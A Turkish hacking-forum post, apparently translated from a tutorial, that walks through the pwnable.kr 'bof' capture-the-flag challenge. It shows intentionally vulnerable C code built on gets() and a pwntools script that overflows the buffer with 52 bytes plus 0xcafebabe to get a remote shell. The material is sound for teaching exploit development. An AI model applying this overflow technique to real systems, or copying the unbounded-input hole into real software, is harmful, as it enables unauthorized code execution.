Linux Exploit Geliştirme Serisi #3 | Arabellek Aşımı [Pwnable.kr -> bof]

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,193
654
Arabellek Aşımı [Pwnable.kr -> bof]

merhabalar, bu Linux exploit geliştirme serisini pwnable'lardan bahsedeceğim. Bu konuda, pawnable.kr'deki BOF sorununa bakacağız. Bu, 32bit Linux'ta basit bir arabellek aşımıdır.

Challange
Bu challange için aşağıda gösterilen “bof.c” kaynak kodunu alıyoruz.

Kod:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
**** func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
Program bir girdi parametresi olan func'u 0xdeadbeef olarak ayarlanmış anahtar ile çağırır. Daha sonra anahtar parametresinin 0xcafebabe olup olmadığını kontrol eder (tabi bu asla olmayacak) ve kullanıcıya bir shell verir, aksi takdirde "Hayırr.." diye bir mesaj gönderir. Aşağıdaki grafiğin görünümü aynı mantığı göstermekte.

Pwnable_BOF1.png


Bariz bir çözüm burda kendini belli ediyor. Ayarlanmış giriş arabelleği 32 bayttır ancak kullanıcı tarafından sağlanan girişin uzunluk sınırlaması yoktur. Eğer arabelleği aşarsak manuel olarak 0xdeadbeef'i bellekteki 0xcafebabe ile değiştirebiliriz. Hadi büyük bir giriş arabelleği yolladığımızda programın tahmin edeceğiniz üzere çöküşünü seriden görelim :d

Pwnable_BOF2.png


Pattern create özelliğini kullanarak girdiden anahtar değişkene olan offset'i bulabiliriz.

Pwnable_BOF3.png


Karşılaştırmada bi kesme noktası belirlediğimize dikkatinizi çekerim. Kesme noktasına ulaştığımızda yani breakpoint'e ulaştığımızda offset'i bulmak için içeriği EBP+8'de inceleyebilirsiniz.

Pwnable_BOF4.png


Anahtar değişkenin başlangıcı 53+ karakterindedir. Pwntools kullanarak hızlı bir şekilde POC yapabiliriz.

Kod:
from pwn import *
 
r = remote('pwnable.kr', 9000)
buff = ("\x41"*52) + "\xbe\xba\xfe\xca"
 
r.send(buff)
r.interactive()
server'a yolladığımızda anahtar değerini kontrol etme aşamasını atlayıp shell alıyoruz.

Pwnable_BOF5.png


Source: https://www.fuzzysecurity.com/tutorials/expDev/12.html
Translator @Gauloran
 

Pentester

Özel Üye
8 Eyl 2016
1,646
999
Top list alanını bu tarz konularla görmek güzel, umarım herkes kendine bir şeyler katar. Emeğinize sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.